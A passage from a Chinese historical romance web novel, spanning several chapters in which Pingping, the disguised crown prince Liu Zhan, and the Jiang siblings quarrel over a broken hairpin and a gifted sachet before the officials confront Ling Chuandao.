屋内两人沉默各望，引得柳湛也随蒋望回目光回瞟萍萍，她仍呆呆愣愣，眸子里似乎还有些许难过和委屈。柳湛眉尾几不可察地挑了下，已经耐下性子解释过了，她还要怎样？ 女人不能太惯着，得让她自己反省，柳湛板起脸下令：“萍萍，你先出去，我同希颜有公事要商议。” 等萍萍应声站起，要出门时，他却又抬手在她肩上拍了一下，和气叮嘱：“天黑，回去路上小心。” 萍萍心旋即变软，忍不住也关切柳湛：“你也是，早点歇息。” 蒋望回合唇注视二人交谈，默道：殿下对萍娘子竟也是恩威并施。 萍萍回房，将一进门，蒋音和就从她那半边拱门后探出脑袋，萍萍本能回以一笑，招呼道：“蒋娘子，你还没睡呢？” 蒋音和不答，埋下脑袋，匆匆出门。 萍萍扭着脖子跟着望，天色已黑，不知道蒋娘子去哪里？做什么？ 她仍念着官人的变化，没太多心思琢磨旁人，收回目光，回自己那侧厢房，钻进拱门，坐下了，才想起来自己没有把星簪送给柳湛。 完全忘了这事。 她打开簪盒重新检查一遍，确认完好，便打算收起来明日再给柳湛。拉开抽屉，就瞥见另外一只檀木盒，里面躺着他送她的月钗。 瞥着瞥着，她的心就像硬冰慢慢化成水，会不会是官人这六年历尽磨难，吃了太多亏，受了太多苦，才磨平锐气，性情大变？ 这么一想她心揪痛，又觉自己太不通人情，叹了口气，拾起钗盒，打开，原本是想拿出月钗再瞧上一眼，哪知钗刚离盒，尾缀那颗琉璃月就碎了，裂成两半散落在盒子里。 萍萍攥着钗头，心内骤慌，甚至起了鸡皮疙瘩。 先是内疚懊恼，自己怎么把这么重要的东西弄坏了！ 少倾，却觉不对，她仅是轻轻拿起，之前数回一样轻拿轻放，还曾戴在头上跑跳过一晚，都好好的。她每一次放回盒里都会检查，这琉璃工艺精良，莫说裂痕，连气泡都没有。 萍萍先上手摸，两半的裂痕处手感不大对劲，急忙点上灯对着光照，发现裂痕上遗留着半滴水大小，贴花钿用的呵胶。 有人偷拿过月钗，还打碎了，然后黏上胶悄悄放回盒子里，但琉璃到底不是珍珠和鱼媚子，粘不起来，她一拿，就碎回原形。 蒋音和。 萍萍心里旋即冒出一个人选，除了自己和官人，就只有蒋音和比戴过月钗。 又想起方才她一回来，蒋音和就埋头匆匆下楼，有几分像在刻意回避。萍萍掏出帕子包好碎掉的月钗，塞进袖袋，出门去寻蒋音和。 这层楼找不见。 再找二楼。 再找底层，想着她是不是去找她阿兄了？询问馆驿哪间是蒋望回客房，叩门良久，无人应声。后厨、公厨皆寻一圈，萍萍总把人往好处想，蒋娘子是不是偷戴不小心摔了，心虚以为会粘好，这会出门是想买一支一模一样的钗赔给她？ 但蒋音和偷戴这一点，肯定是不对的。 到底是柳湛送的礼物，便想同他商议，萍萍去找柳湛，人在房外就听得男女絮语，“阿兄”、“生辰”等等模糊言语，她起手叩门，唤了官人。少倾柳湛允她进来。 萍萍一开门，蒋家兄妹俩皆在房中，齐齐投来目光。 原来音和在这里，那就先不慌和官人讲，萍萍顾忌蒋音和颜面，靠近她轻轻询问：“蒋娘子，能否借一步说话？”她晓得蒋音和不喜欢拉扯，没有上手，只笑，“我找你有事。” 蒋音和看看哥哥，低嗯一声，随萍萍出门，见她一直往远处走，蒋音和皱眉：“什么事？就在这说。” 萍萍停步，回望，离客房仅四、五步路，官人他们听不到吧？ 她尽量小声：“那支发钗是你摔坏的吗？” “你什么意思？”蒋音和提高嗓门。 有个不认识的住客过庭院，闻声立马朝这边瞅了一眼，萍萍不想打扰别人，声音压得更低：“蒋娘子，你莫激动。是这样，我刚才回去，发现我那支琉璃月钗碎裂了。” “所以你怀疑到我头上？”蒋音和依旧大声。 萍萍左右张望，再无行人，蒋娘子这般理直气壮，自己要是再小声，反而显得自己像贼。 于是萍萍不再压低，就用正常声音道：“那支钗只有你试戴过。” “呵——”蒋音和冷笑扬眉，“你自己失手摔碎的，怪我？” “究竟怎么回事？”蒋望回正颜厉色推开门。他还没瞥过来蒋音和就上前告状，“萍娘子自己的琉璃钗摔碎了怪到我头上，就因为我和她同住，就活该受这不白之冤！” “我没有摔碎，”萍萍咬定，“我每一次动钗子都会仔细检查，今天刚一拿起来就是碎的。” “‘彩云易碎琉璃脆 ‘，琉璃本就是易碎物，你戴得久，没准早有裂痕，刚巧今日崩碎！” “裂痕上有黏粘痕迹，”萍萍掏出帕子包的月钗，“有人摔碎以后用呵胶粘过一道，而且……”她原先对视蒋音和，这会转望柳湛，呢喃，“我根本舍不得戴。” 月钗亦往柳湛面前递。 柳湛神色淡淡，萍萍觉得这一霎他好像庭院里的草木，对上了眼，却没有互通心意。他很快别首，没有接钗，反而轻笑：“一支钗子而已，碎了就碎了。” 今晚蒋音和主动送她哥的生辰礼物，眼神表情，柳湛就觉得不对，方才叫囔，更是欲盖弥彰，十分拙劣，但他不愿同蒋家撕破脸皮，还是那句话，小不忍则乱大谋。柳湛促眸看向萍萍：“别闹了，没有确凿证据，不要攀咬音和。” 萍萍突然觉得眼前的男人异常陌生。 陌生到她讲不出话。 “哼，就是——无缘无故栽赃到我头上，”蒋音和挑眼，“真是今天出门前没看黄历！” “你少说两句！”蒋望回垂首拉住蒋音和，萍萍随声音定定望去，蒋音和瞪了哥哥一眼，接着就委屈巴巴看向柳湛，眸子里波光流连，有什么东西似泉往外涌，掩都掩不住。 萍萍心一沉，这和她刚才看自己哥哥的眼神截然不同，这、这是看向心爱之人的眼神。 萍萍忽然喘不上气。 浑浑噩噩，不知道怎么回的房间，蒋音和倒是一回来就囔囔不愿再和这种人同住，闹着要搬出去。 萍萍一句话没说。 搬家时有馆吏帮忙，闺房物蒋音和都不假人手，有一趟萍萍瞧她端着竹篮，里面绷子剪子，针线俱在，但已无一只香囊。 等蒋音和搬完，这层楼归于安静，萍萍即刻下楼。穿庭院，过长廊，她已经熟到闭着眼就能走，不知道具体时辰，反正天色漆黑，照亮的灯笼孤寂高挂。 萍萍叩门。 柳湛睡眠极浅，早知晓来人，阖眼慢问：“谁？” “是我。” 他起身披衣，掌灯开门：“这么晚了怎么还过来？” 萍萍不说话，就着柳湛手上这点光亮先翻衣架，接着挨个抽屉打开。柳湛皱眉，谁敢这样抄太子的家？也就是她。他心知方才驳了萍萍的面子，她不痛快，允她发泄一下。 柳湛跟在萍萍身后掌灯，眼看她快翻光整间客房，他正准备提醒她适可而止，萍萍从抽屉里拧出个并蒂莲香囊。 她手抖得厉害，香囊亦剧烈晃荡，莲似被风吹雨打。 “你竟然收了她的香囊？”她的声音也是颤抖的，夜里的凉气从地里钻出来，爬上她的脚，如藤缠绕往上，一直凉到心里。 柳湛垂眸，这香囊和月钗一样，他尚未登基，不能失却蒋家。 “我说了大局为重。”只能让她暂且忍耐下，柳湛手往袖袋中掏，“要实在不喜欢，把它烧了呗。” “官人，你收了蒋娘子的香囊。”萍萍重复道，语气和眼眸已尽染上愤慨，胸脯不住起伏。 柳湛掏袖袋的手顿住，收回垂下。他不明白萍萍为何如此激动，区区一个香囊，他又不会带走，再说在他心里她和蒋音和云泥之别，他只有一个她。 三更半天，翻箱倒柜，厉声质问，弄得他像是什么负心汉，她骗他勾搭他，他还没说什么呢，柳湛也委屈：“你天天说要与我同生共死，什么愿意把性命交到我手上，结果连这点小事也容不得？” 说时他眼睁睁瞧着萍萍眼眶渐变湿润，又有点于心不忍，叹了口气，自己的话是几分说重。 柳湛旋起嘴角，放柔声音，抬手轻揽萍萍肩头：“好了好了，你来关心我就好，关心别人的香囊做什么？” 萍萍眼前湿润模糊，已看不清柳湛这个人，只一个模糊轮廓。这回打一棒再给个枣对她没用了，她摸上肩头，一根根掰开柳湛手指，调头出门。 柳湛还是第1回 热脸贴冷屁。股，启唇欲言又止，最终站定，一步不追。 第49章 第四十九章 己所不欲，勿施于人…… * 约莫辰时一刻， 太阳斜晒，有人叩响萍萍房门。 她以为是柳湛来沟通，深吸口气， 埋首开门， 再抬头时眼前伫着穿一身黛青色锦袍的蒋望回。 “你妹妹搬出去了。”萍萍轻声告知。 蒋望回沉默一霎， 道：“我是来找你的。” 她是有夫之妇，不方便和外男闺房私话，萍萍跨过门槛， 反手带上房门。蒋望回会意别首， 没有趁机往房中眺，两人默然前走了两步， 到栏杆前，蒋望回原先背在身后的手垂下，双唇翕动几回：“虽然音和不承认，但你那根钗极有可能就是她弄坏的。” 他朝萍萍躬身：“小妹恶劣，我来代她赔罪。” 萍萍不吭声，他就一直躬着，萍萍只好道：“你不要这样， 直起身吧。” 蒋望回缓缓挺直， 萍萍手搭上扶栏， 似眺院中。 蒋望回侧首看向她：“娘子可否给我瞧下钗子？”怕她误会， 他语速加快，“兴许可以修复如初。” “已经碎了，怎么修呢？”萍萍虽然这样说， 但还是掏出手帕，打开。 蒋望回轻拾帕中碎钗，在阳光下端详：“可以保留钗体， 敲掉琉璃，重新烧制。”他握住钗柄，对视萍萍，言之凿凿：“娘子能否借钗三日？工匠好照模比对，我保证还娘子一个一模一样的。” 俄顷，萍萍点头。 她回正身子继续凭栏眺望，笑道：“没想到你还懂簪钗。” “以前帮我娘和妹妹修过头面。”蒋望回两手也扶上栏杆，“爹娘常驻边关，我和妹妹却从小寄居京师，爹娘觉得亏欠，事事纵容，我也舍不得打骂，以至于把她的性子养骄。妹不教，兄之过。” 萍萍沉默良久，忽然语气颇重道：“你确实有错。” 蒋望回一刹瞠目，而后苦笑，萍萍瞥了眼他腰间香囊：“你且在这等会。” 蒋望回就真等在原处，手仍虚扶栏杆。 不久，听见响动，蒋望回转头，萍萍一边走近一边递手中礼盒：“听说后日是你生辰，这方砚台送你。” 蒋望回虚扶的两手突然狠狠抓紧栏杆。 他转过身来接过，看萍萍，低头看盒，再萍萍，表情万千，张口欲言，袁未罗却在这时路过，隔得颇远就打招呼：“蒋殿——”意识到萍萍在场，改口，“蒋大人，萍娘子。” 袁未罗跑过来，见蒋望回双手紧攥一木盒，便指盒问：“这是什么？” 蒋望回迟迟不语，萍萍替他作答：“是砚台。” “怎么突然拿砚台？” “是我送蒋大人的生辰礼。” 袁未罗惊讶：“大人要过生日了？是几时？” 蒋望回张嘴本能要回“小事不足挂齿”，转念一想，这样讲岂不驳了萍萍面子？他又半晌不语，还是萍萍回答：“后日。” 袁未罗蠢蠢欲动，想端详盒子里的砚台，蒋望回见萍萍也有让他打开的意思，便打开木盒，现出一方墨砚。 袁未罗伸手欲拿，蒋望回道：“你小心点。” 袁未罗慎重几分，只在手中掂量一下，说了句“还挺沉”就放回盒中。 “大人几时去衙门？”袁未罗问，“我帮林公跑腿，回来拿东西，大人若要去可以捎我一程。” 蒋望回收好砚台，道：“这就要去。”便向萍萍告辞，离去两步，却又定住转身，同萍萍拱手：“多谢娘子赠礼。” 萍萍虚回一礼，蒋望回这才离去。 袁未罗说是捎一程，但其实两人坐的是驿馆的车，蒋望回一直掀了半边窗帘注视车外，袁未罗好奇瞅了又瞅，这街景没什么特别：“殿帅，你在瞧什么？” 蒋望回眺见仙鬓楼的招牌，同袁未罗道：“你先去吧，我还有事要办。” 说罢便让停车。 “那殿帅你待会——” “我待会走去。”蒋望回说罢下车，大步流星过街，人群熙熙攘攘，袁未罗一会就瞧不清，再则他也没有盯梢蒋望回的心思，便让车夫 继续前行，又问车夫：“老丈，你们这哪能买毫笔？” 既然知晓了殿帅生辰，那他也要送一份礼，贵的送不起，萍娘子送砚台，那他就送笔。 这是惊喜，不能让蒋望回提前知晓，加上他跑腿中途做私事，自己也心虚，因此进府衙后只字不提。 林元舆催他：“怎么拿个东西这么慢？” “路上堵，非常堵。”袁未罗麻溜交卷宗给林元舆，接着在旁研墨。林元舆接过卷宗，年纪大了记性减退，之前完全忘记曾带一册卷宗回去看，今日整理始终缺一部分，绞尽脑汁想了半天，才记起来。 细细比对，补齐了，可以摘抄卷宗，扩列檄文文书了。 哗啦啦鼓点般的响声，外头猝不及防下雨，窗楹冲刷，芭蕉乱摇，这夏天的雨不似春天，来得及去得也急，不到刻把钟便停，只给衙门后院的池塘留下一池满水，还有阵阵清风。 “这雨下下来就凉快了。”有官吏感慨。另有旁的官吏接话：“呵，一时凉爽！这下一场热一场，只怕明日要似蒸笼。” 官员们眼睛读着卷宗，手上做着事，嘴里却你来我往，林元舆偷瞟柳湛，太子殿下正坐在他右手边，噙笑慢翻卷宗，几日观察下来，殿下似乎并不反对做事说笑，他便也插话：“这扬州的夏天是比东京。热上许多。” “江宁府更热呢！” 众人话更多了，气氛融洽。 更有一主薄主动为两位御史台的京官献香饮子：“大人们尝尝绿豆水，消暑得很。” 柳湛含笑接过饮子：“有心了。” “巡按客气。” 诸人说说笑笑，约莫半个时辰过去，蒋望回才走进来，手上无伞，鞋靴裤脚和发髻微湿，身上倒干。 显然方才赶上了雨，却怕影响众人，不方便做事，等到衣裳干了才进来、 柳湛挑眼皮：“没坐车？” 问的蒋望回，袁未罗却手一抖，墨汁溅出，污了一张新纸。 “你怎么搞的？”林元舆责备。 “对不起，对不起。”袁未罗忙换纸，“小的毛躁。” 蒋望回朝林袁二人眺了一眼，收回目光，回答柳湛：“夏天好办，都快干了。” 柳湛垂眼再翻一页卷宗：“喝点绿豆水，别染湿气。” 蒋望回点头谢过。舆情仍盛，一行人忙到戌时才会驿馆，柳湛习惯性余光眺向三楼窗户，竟然紧闭。 他怕天黑没看清，堂而皇之再眺一眼，那窗户闭得死死的，一丝缝都没留给他。 柳湛再踏入驿馆，萍萍也没有像往常一样下楼迎接他。 柳湛失笑，还气着呢，算了，允她生气一天。 翌日，柳湛归来，依旧门窗紧闭，不见佳人芳踪。 他还特意在庭院里等了一等，没人下楼，院子里的海棠尽谢，只余绿枝，晚上成黑乎乎一片。 第三天。 府衙里气氛不对，大伙无论真忙假忙，皆是屏气凝神，一声不吭。 其实昨天林元舆就隐隐察觉，太子殿下的脸突然变得很臭。今日更甚，居然私底下让他勒令，禁止闲话家长里短。 林元舆扫一眼，诸官员皆低垂脑袋，翻卷宗的翻卷宗，写字的写字，只能瞧见一片乌压压的官帽。 他这个恶人当得好委屈呐！ 就在这时，坐在左手边的柳湛推过来一张便笺。林元舆低头一看，笺上写着：外面蝉太吵。 林元舆紧咬双唇一个劲捋胡须，他管天管地还要管蝉拉屎放屁！ 林元舆板起脸，冷声下令：“外面蝉也太聒噪了，把窗户都关上！” 众官员纷纷抬头看林元舆，许多人掩不住惊讶和委屈，这大热天就靠窗子吹进来这点风。 林元舆心若黄连，却只能一脸冷厉。 往日送香饮子的那位主薄蹑手蹑脚端着绿豆水走近，林元舆先觑柳湛脸色，得，明白。他干咽了一口，是馋渴也是咽苦水，斥那主薄道：“做什么呢？一天到晚不做正事！” “下官只是一腔好意——” “去做事去，是嫌门口的鼓声还不够响么？”林元舆“怒”斥。 虽然今日敲鼓的人明显比前几日少，鼓声确实没那么响了，但主薄不敢再言语。他怀疑这位御史台的上峰是不是昨晚瞧见了脏东西？ 若非中邪，怎么突然就不让溜须拍马了呢？ 主薄默默退回座上公干。 林元舆这边，檄文那晚明明已经通过，只需要补充扩列，但最近两日柳湛看了只说不行，修了又修。 眼下他又改好一遍，压低脑袋，小心翼翼再窥柳湛——算了，还是再改，十分不妙，殿下的脸色比方才更难看。 林元舆左手边，柳湛快翻一页，他觉得自己心情还不错，萍萍晚上不等他不迎他不见他，但好像也没怎样，他还不是一切如常？ 也就衙门里吵了点，现在安静下来就好了。 她手上还有砚台要送呢，难道一辈子不见他，礼物砸在手里？ 咚！ 室内突然发出一声响，因为安静，所以显得格外洪亮甚至回响，众人都滴溜眼珠循声望去，袁内官和蒋巡按那张桌前地上，跌落个长盒，盖子摔翻，里面一支毫笔滚了又滚，最后停在柳湛脚前。 柳湛不知道袁未罗为什么一副惊恐万分，视死如归的表情，他从前出的错比这大的也有，也没怎么挨他，何况柳湛今天心情甚好。 柳湛弯腰拾起毫笔，袁未罗连忙接过：“谢谢谢谢谢谢。” 连说六个谢，又觉必须给太子殿下解释点什么才死罪可免：“这是我送蒋大人的生辰礼。” 本来想默默放到蒋望回桌上，但屋里气氛实在太紧张，他一下没放对位置，上面半截盒子露在桌外，盒子重重栽倒。 柳湛垂手，解下腰上系的玉佩，站起来递给蒋望回。 蒋望回忙接过称谢，柳湛旋起嘴角，在润州时他就琢磨过这事，要是希颜生日仍未归京，就把随身携带的玉佩作为赠礼。 今天心情好，差点把这事忘了。 “不谢，一早就想给你了。”柳湛笑道。 林元舆在旁察言观色，太子笑了，语气也变轻快，那是不是由阴转晴了？ 林元舆深深看向蒋望回，多亏蒋家小子生在今天！ 但他仍怕打回，不敢上交文书，笑同蒋望回说话，籍此试探柳湛：“今日你生辰啊？本官才晓得，来不及准备，明日给你补一份贺礼。” 蒋望回急急起身，直言不敢当，又说自己是散生，不用记挂心上。 “你生日呀？”旁的官员也问，大伙都憋坏了，林元舆一说话，也开始说话加喘气。不消一会全是围绕着蒋望回生辰攀谈的，屋内又恢复了说说笑笑。 林元舆这将文书“推给”柳湛。 柳湛笑着接过，一目十行，这回改的不错，就是有几处地方还要修一下，他笔尖沾墨，就要勾勒，忽听那分香饮子的主薄问袁未罗：“中贵人，你怎么想到送蒋巡按一支笔呢？” 柳湛不以为意，在文书上勾下一个圈。 “因为我们那有位萍娘子前天送了巡按砚台当生辰礼，有砚台那得有笔写吧？我就想到送笔。” 柳湛执笔的手骤扣紧，双目微张。 继而胸口闷石，喘不上气。 众人还在说说笑笑，他越听越聒噪，窗外的蝉也乱叫不停，柳湛突然躁得浑身发痒，像有百来只蚂蚁在身上爬。 第50章 第五十章 月暂晦，星常明 柳湛没了帮林元舆校正的心思， 让林元舆自个去发现错处。他提笔写下二个比林元舆楷书大一倍的草字——重修。 然后将文书推还林元舆。 林元舆晴天霹雳，顿时没了说笑心。 只蒋望回那厢，还有不少官员闲言碎语。 柳湛搁笔翻卷宗， 当然纸上的字一个也没看进去， 反而时不时盯梢蒋望回。 蒋望回隐隐察觉， 自从袁未罗提及砚台后，殿下的余光就总在打量自己。有时候他背身，殿下那道目光就阴嗖嗖在脊梁骨上。 而且没提之前， 殿下脸色已经不大好看， 可能也同萍娘子有关。 蒋望回喉头滑动，只装不知道。 到了晚上， 他已回驿馆客房，准备歇息，柳湛却叩门。 蒋望回快步上前开门，柳湛两手捧着一摞卷宗并文书站在门槛后面，开门见山：“你我今晚把这些整理了。” 蒋望回伸手去接，并将柳湛让进房内。柳湛待门关上才续道：“早点办完早点回京，争取后日登那凌传道的门。” 蒋望 回抱着齐肩文书， 瞟向滴漏：“这么晚了？” “为君忧， 为民忧， 握发吐哺， 宵衣旰食。”柳湛面色不改，俄而又添一句，“古有始皇躬操文墨， 昼断狱，夜理书。” 蒋望回将文书放于桌上，殿下今晚的话有点多。 每间客房皆备文房四宝， 蒋望回取出砚台笔架，自己和柳湛对面坐，各一支笔，中间一方砚台开始研墨，听柳湛淡定吩咐：“再拿一方砚台来，我要朱批。” 蒋望回完全可以唤馆吏来添一方，但他站定了会，心里叹口气，走近柜前。灯光火烛照耀下，蒋望回侧身挡住柳湛视线，而后才拉开抽屉，从包裹的里衣中取出萍萍送的生辰礼，手法飞快。 “那用这方吧。”他打开木盒，放下砚台转而取朱批的料。 柳湛淡笑：“你还和衣裳放到一起？”拿起砚台正反扫了一眼，旋即放下，似看不中。 蒋望回将朱砂粉和胶油倒入砚中，嘴上不紧不慢答：“怕碎，用了件不穿的袍子包。” 他将一调好，柳湛就抹了两笔试砚台。 两人对熬一宿，早晨各自简单梳洗，便去衙门，日以继夜，竟然都眼皮不颤，眼窝不黑，双目炯炯，十足精神。 要不是公文卷宗整理大半，两人顶了十数人工，衙门里没人瞧出他俩不寐。 这帮御史台的，都做到京官了还这么努力？ 扬州本地官员人人自危，自发勤政——茶喝少了，话讲少了，连出去净手的次数也变少。 倒是柳湛白日里进出了两趟，皆只向林元舆禀说有事要办。 林元舆岂能不允？ 刚过申时，柳湛又来事了，恳请早退回去。 林元舆能怎么办？ 当然只能答应他。申时二刻，柳湛人已抵驿馆，理冠整袍，方才上三楼到萍萍房门口。 他伫足片刻，先起手轻叩两下，而后以袖掩口，干咳：“咳、咳，萍萍，是我。” 少倾，无人应声，柳湛哑声再道：“是我，你官人。” 萍萍这才开门。 其实每晚她都不忍心，有在窗户后偷看他回驿馆。 这会门一开瞧见柳湛的脸，已自心软三分。 柳湛抬手，不由分说将萍萍搂进怀中，而后自行跨进房内，反手关门。 萍萍欲挣扎，他就箍得更紧，手上变戏法般多出一支金钗，曲折弯绕仿若流云，钗尾一颗满月般的宝珠。 柳湛柔声哄道：“早就买了，那晚便想给你，因那外人吵架，拖延至今，”他顿了顿，有些艰难，但还是说出来，“是我不对。” 萍萍转瞬模糊双眸。 柳湛没料到她泪落得这样快，心化绕指柔，指腹抚她眼尾拭泪，讲出一句不是事先斟酌好的话：“我们以后别吵架了，好不好？” 萍萍哭得更凶了，金钗都瞧不见了，她不住抹眼泪，吸了吸鼻子：“这钗怎么这么亮？” 柳湛牵她往里走，两边拱门不知走哪边，萍萍扯他手往左：“这边。” 柳湛就往左走，过了拱门光线变暗，钗尾宝珠明光烁亮，熠熠生辉。 柳湛在妆台前坐下，继而拉她坐于膝上，无须银烛，只借夜明珠光亮，就能将金钗精准簪于萍萍髻间，亦能照清镜中佳人：“这是夜明珠，愈暗的地方它愈亮。” “这是月亮。”萍萍旋即纠正，是他呀。 柳湛搂萍萍望镜中，梨花带雨，美艳动人，何必要跟她过不去呢：“是、是一轮圆月。” “那天碎的不是钗，是我的月亮碎了。” “好、好，你的月亮。”他笑，记住了她和别的女子是不一样的，她不是随手拔一支钗赠人的人。 柳湛收回目光，扫见萍萍袖下一寸皓腕，喉头一动，伸手握住：“那香囊我已经拿剪子绞了，烧掉，连灰都没丢在驿馆里。”他蜷着她的手，望着她的眼，颇有几分讨好卖乖，“我让林公打发她回京去，再不能打扰我们，好吗？” 他记起自己还有来之前已想好的话没说，立马出口：“我以后只要你的香囊，”摇摇她的手，“给我绣一个吧，我天天戴着。” 经他一提醒，萍萍亦记起星簪，站起来要去拿，柳湛不放手，她差点再次跌坐：“我有东西要给你。” 柳湛这才松开，萍萍去取簪盒，柳湛视线一路紧紧跟随，见开盒是根男子用的黄玉簪，心中一喜，转念却又酸涩忧虑，这是只送他一人，还是别人也有？ 柳湛正暗忖如何拐弯抹角得知是否专属，萍萍已将簪递过来，柳湛接住，细细端详，状若牛角，数十五角，好似漫天繁星。 柳湛瞬时惊喜再添一层，抬手抽掉头上卯酉簪，青丝如瀑。他原要自己绾发，见萍萍上手便垂下手任由她绾星簪，唇漾笑念道：“愿我如星君如月，夜夜流光相皎洁。月暂晦，星常明。留明待月复，三五共盈盈。” 他也打量了下镜中戴簪的自己，这簪子好，白日里打听过，蒋望回那方扬州十景的砚台才值八两，他这个显然比砚台贵上许多。 “香囊、簪钗，皆是贴身体己，私密非常。”萍萍缓缓放下手，“一个女子送男人香囊，还绣的并蒂莲，那定是别有用心的。你看哪个正常男女友人间送香囊？蒋小官人过生辰我送的就是砚台，这才是坦荡磊落，私心不存！” 而柳湛，明知蒋音和别有用心，还要收下，没有分寸，她怎能不气、不恼？ 萍萍又说激动，喘口气。 柳湛笑着搂紧怀中气鼓鼓的佳人，得来全不费工夫，他还没问，她就自己交待了，星簪是专属他一人。 他张唇，脑子没思考便想附和她，然而一思忖，不行！重合上唇。 谁说砚台就能送别的男人？ 这几日他真如火上煎烤，原来喜欢一个人以后心眼会变得这样小，连小不忍都忍不了，无论什么物件，她都只能送自己，不可以赠他人！ 推己及人，柳湛昨日熬大夜想明白：萍萍瞧见香囊，一定跟他见到砚台一样难受痛楚。 所以他今日才主动求和。 柳湛点头：“娘子教训的是。” 半晌，萍萍在他怀里挪了挪，扭身变成面对面，仰头温柔发问：“官人，分别这六年究竟发生过什么事？” 他低头对视，笑道：“怎会有此一问？” “我觉得你好像有些变了。”萍萍说出口立马抓紧柳湛的手，不是说变了，她的心意不变，千万不要误会，“就是有时候待人接物不一样了……”她斟酌半天，用了个褒词，“更稳重？” 柳湛沉吟好一会儿，低声肯定：“这几年我是变了。” 因为萍萍挪身缘故，夜明珠不再能照到他整张脸，些许眉眼隐于幽暗。 “发生了什么？”萍萍追问。 “家中有些变故。”柳湛正寻思如何绕开这个话题，避免她再追问下去，萍萍却出乎意料抬手，以指代笔，描摹他的长眉：“那你一定受了许多磋磨和委屈……” 他审视她的目光，那里面并没有怜悯，只有理解和包容，像椿树理解鲲鹏，浩海包容河流。 萍萍哽咽：“官人，你受苦了。” 柳湛突然有股想主动告诉她发生过什么的冲动，他咬紧了牙关忍住，张开双手猛地抱住萍萍，头埋进她的肩颈间。 萍萍回抱住柳湛，拍了拍他的后背，柳湛像一只受伤的小兽，凸起后背蝴蝶骨，任她隔着薄袍抚摸。 萍萍心里满溢酸涩柔软，一下子全原谅了，连方才仍激动的香囊事件，也不气了。官人这六年不容易，以后一定要多包容理解，又设想，假如他们没有分开，阿湛是不是就不会经历那些黑暗和伤痛？ 她又生出内疚弥补心。 柳湛却已听见了远方的脚步声，从楼下上来，十分熟稔，蒋望回的。他抬起头微微后仰，一下吻住萍萍的唇。 他吻得十分热烈，闭上眼，若暴风骤雨，如乌云压城，二人都止不住发出一些轻微响动。 柳湛仍闭着眼，重重喘了一声：“这钗戴着比之前那支好 看，你也说了，这才是真正的月亮。以前那个碎了就别要了。” 萍萍被他吻得晕头转向，缓了一会才迟钝要答，柳湛却又歪头吻上，将她后面的话尽数吞没，听起来像她呜呜咽咽，又像嗯了一声应好。 少倾，门外轻微，仅只柳湛能察觉的脚步声再次响起，渐行渐远，很快消失。 呵，他早上也打听了，某人在鬓仙楼补钗，还想还钗？ 柳湛这吻虽说另有居心，但吻完自己也明显龙抬头。他赶紧架着萍萍挪了挪，喉头发紧，再忍几日，最多三日，就光明正大纳她作东宫御侍。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 50-60 第51章 第五十一章 你是谁 * 凌府。 不仅室内摆放数盆冰块， 凌传道还手持蒲扇，亲自给轮椅上的盲女扇风。 外面酷暑，室内却十分凉快。 可盲女并不领情， 一出口， 比冰还冷：“推我出去。” 凌传道面上一喜， 这是今日她跟他说的第一句话，他温言相劝：“外面很热，蒸笼一般， 你身子受不住的。” 女子却只问：“我二哥和三娘呢？” 凌传道手腕转动， 扇着扇子：“天热气躁，但是郎中说你不能吃冰， 我多扇会。” 二人各说各的，盲女重复道：“我要见二哥和三娘，”她语气硬邦邦，长颈笔直，“我两个月没见到二哥了。” 凌传道语调极软，纵使对方看不见，仍旧堆笑， 双目柔情：“不是说了吗？你二哥去外地公干， 这会还没回扬州。” 良久， 满室沉寂， 掉针可闻。 盲女突然朗声质问，声音在室内回荡：“是还没回来，还是被你杀了？” 凌传道盯着她冷若冰霜一张脸， 心头呕血：“姜巧兰，那杨廉和凌小环对你压根没有心！”他先振臂，而后食指戳着自己的胸口， “这世上只有我才是真正对你掏心掏肺，你为什么不能分半分、”他戳一下抖一下，却仍不住戳着，“半分温柔给我？我只要半分……” 巧娘面无表情，她以前给过整颗心的。 “帅臣。”婢女门外呼唤，仅两字却气喘吁吁。 凌传道瞥了眼巧娘，快步出门并反锁上，走上走廊，才驻足不悦道：“不是说过有事廊下候着，不要敲门。” 婢女硬着头皮出声：“帅臣，阿利找您。” 阿利是凌传道的长随，但凌传道下过死令，除自己以外，其余男子皆不得靠近巧娘。 凌传道沉着脸穿过整条走廊，到尽头绕过奇石屏风，前面架上已结满快熟的葡萄。 阿利就等在葡萄架下，不敢往里再多迈一步，还是凌传道走向他。 “帅臣，林中丞登门，说要拜会您。”阿利压低嗓门，“但他带了兵，小的没敢放他们进来。” 凌传道回头凝望走廊，半晌不动，仿佛从未飞过的雏鸟，眷恋犹移，不肯离巢。 “天长军呢？”他问阿利。 “十五里外可听调令。” “让他们入城！”凌传道拂袖转身，如鸟振翅高飞，大步流星走向正门，临行撂下一句命令：“你俩在这守着，任何人迈过屏风，格杀勿论。” 他还未到正门，甚至没通过前院，就听门外闹哄哄。 凌传道直接改道，脚下生风，拐上阁楼，在高处俯瞰下方一切，御史钦差，成群官兵，皆被挡在门外，许多百姓围观，议论沸反盈天。 凌传道眼沉沉望着下面，启唇问身后另一心腹长随：“这些天府衙没一个人来通传？” 长随摇头，恨恨道：“戚有恒这个有奶就是娘的，怕是早背叛您了。” 凌传道倒不觉意外，官场如此，讲忠孝节义礼，实际只名利二字。他继续晲了会，淡淡下令：“放他们进来。” 大门对开，林元舆等人进入帅府。柳湛昨日和萍萍说开，终于睡一宿好觉，今早擒贼，心无挂碍，颇为轻松。他仅少时见过凌传道数面，十余年不见，各自长开，却一眼眺清正堂中央高坐那人，长着和自己有一模一样高挺的鼻子。 柳湛即刻垂首，入堂后再随众人躬身，始终不再抬头。 凌传道因此完全没有留意到柳湛，只俯视一行人中央，被拥簇的林元舆，微勾唇角：“林中丞。” 林元舆仰首，愣一愣，皆道抚州范氏多出倾城绝色，但那是说美人，凌传道一男子，竟也如此出挑，和太子似乎又有那么一点点形似……林元舆一时想不出是哪里像，怕耽误事，敛了心神，拜道：“凌帅臣，论官职您是淮南东路总领，论爵位您乃忠勇侯，朝廷仪制，礼不可废，下官这里先行见过。” “中丞居高位而不忘上下礼数，难能可贵，当为本朝典范。”凌元舆面上渐浮淡笑，林元舆觉得这笑也有几分神似和熟悉。 “本帅早就有心结交中丞，只可惜身体抱恙，到今日才将将好一点。”凌传道挥臂朗声，“来人，设宴，本帅要好好款待中丞，弥补之前怠慢。” “不必！”林元舆阻止，朝上方拱手，“老夫这趟来皆为公事，一是断案，二是讨人。”先断民案，命人将誊抄好的文书递一份给凌传道，自己则续道，“老夫来扬州近十日，方知闻登鼓如何难敲。官家曾言，‘天下以民为本’，民有疾苦，帅臣不但不予理睬，还层层设阻，防堵民口，藐视公堂，这何尝不是虐待百姓？” 